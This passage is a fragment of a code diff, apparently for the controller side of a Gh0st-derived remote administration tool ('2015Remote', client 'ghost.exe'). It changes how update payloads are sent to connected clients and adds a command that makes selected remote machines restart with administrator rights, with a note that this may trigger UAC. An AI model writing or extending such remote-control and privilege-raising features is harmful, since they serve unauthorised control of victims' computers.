if (buffer) {
|
||||||
buffer[0] = COMMAND_UPDATE;
|
buffer[0] = COMMAND_UPDATE;
|
||||||
SendSelectedCommand((PBYTE)buffer, 1 + sizeof(ULONGLONG) + fileSize + 1);
|
memcpy(buffer + 1, &fileSize, 8);
|
||||||
|
memcpy(buffer + 9, buf->c_str() + 6, fileSize);
|
||||||
|
SendSelectedCommand((PBYTE)buffer, 9 + fileSize);
|
||||||
delete[] buffer;
|
delete[] buffer;
|
||||||
}
|
}
|
||||||
else {
|
|
||||||
MessageBox("读取文件失败: "+ CString(path), "提示");
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void CMy2015RemoteDlg::OnOnlineDelete()
|
void CMy2015RemoteDlg::OnOnlineDelete()
|
||||||
@@ -1614,8 +1580,13 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
|
|||||||
context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
|
context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
|
||||||
if (!ContextObject->IsLogin() && szBuffer[0] != COMMAND_BYE)
|
if (!ContextObject->IsLogin() && szBuffer[0] != COMMAND_BYE)
|
||||||
continue;
|
continue;
|
||||||
|
if (szBuffer[0] == COMMAND_UPDATE) {
|
||||||
// 发送获得驱动器列表数据包
|
CString data = ContextObject->GetClientData(ONLINELIST_CLIENTTYPE);
|
||||||
|
if (data == "SC" || data == "MDLL") {
|
||||||
|
ContextObject->Send2Client(szBuffer, 1);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
ContextObject->Send2Client(szBuffer, ulLength);
|
ContextObject->Send2Client(szBuffer, ulLength);
|
||||||
}
|
}
|
||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
@@ -3112,3 +3083,20 @@ void CMy2015RemoteDlg::OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnOnlineRunAsAdmin()
|
||||||
|
{
|
||||||
|
if (MessageBoxA("确定要以管理员权限重新启动目标应用程序吗?\n此操作可能触发 UAC 账户控制。",
|
||||||
|
"提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||||
|
while (Pos) {
|
||||||
|
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||||
|
context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
|
||||||
|
BYTE token = CMD_RUNASADMIN;
|
||||||
|
ContextObject->Send2Client(&token, sizeof(token));
|
||||||
|
}
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -204,7 +204,7 @@ public:
|
|||||||
CRITICAL_SECTION m_cs;
|
CRITICAL_SECTION m_cs;
|
||||||
BOOL isClosed;
|
BOOL isClosed;
|
||||||
CMenu m_MainMenu;
|
CMenu m_MainMenu;
|
||||||
CBitmap m_bmOnline[14];
|
CBitmap m_bmOnline[15];
|
||||||
uint64_t m_superID;
|
uint64_t m_superID;
|
||||||
bool CheckValid(int trail = 14);
|
bool CheckValid(int trail = 14);
|
||||||
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
||||||
@@ -280,4 +280,5 @@ public:
|
|||||||
afx_msg void OnNMCustomdrawMessage(NMHDR* pNMHDR, LRESULT* pResult);
|
afx_msg void OnNMCustomdrawMessage(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
afx_msg void OnOnlineAddWatch();
|
afx_msg void OnOnlineAddWatch();
|
||||||
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
|
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
afx_msg void OnOnlineRunAsAdmin();
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -390,6 +390,7 @@
|
|||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Image Include="res\Bitmap\AddWatch.bmp" />
|
<Image Include="res\Bitmap\AddWatch.bmp" />
|
||||||
|
<Image Include="res\Bitmap\AdminRun.bmp" />
|
||||||
<Image Include="res\Bitmap\AssignTo.bmp" />
|
<Image Include="res\Bitmap\AssignTo.bmp" />
|
||||||
<Image Include="res\Bitmap\authorize.bmp" />
|
<Image Include="res\Bitmap\authorize.bmp" />
|
||||||
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
||||||
|
|||||||
@@ -155,6 +155,7 @@
|
|||||||
<Image Include="res\DrawingBoard.ico" />
|
<Image Include="res\DrawingBoard.ico" />
|
||||||
<Image Include="res\Bitmap\AssignTo.bmp" />
|
<Image Include="res\Bitmap\AssignTo.bmp" />
|
||||||
<Image Include="res\Bitmap\AddWatch.bmp" />
|
<Image Include="res\Bitmap\AddWatch.bmp" />
|
||||||
|
<Image Include="res\Bitmap\AdminRun.bmp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<None Include="..\..\Release\ghost.exe" />
|
<None Include="..\..\Release\ghost.exe" />
|
||||||
|
|||||||
BIN
server/2015Remote/res/Bitmap/AdminRun.bmp
Normal file
BIN
server/2015Remote/res/Bitmap/AdminRun.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
Binary file not shown.
Reference in New Issue
Block a user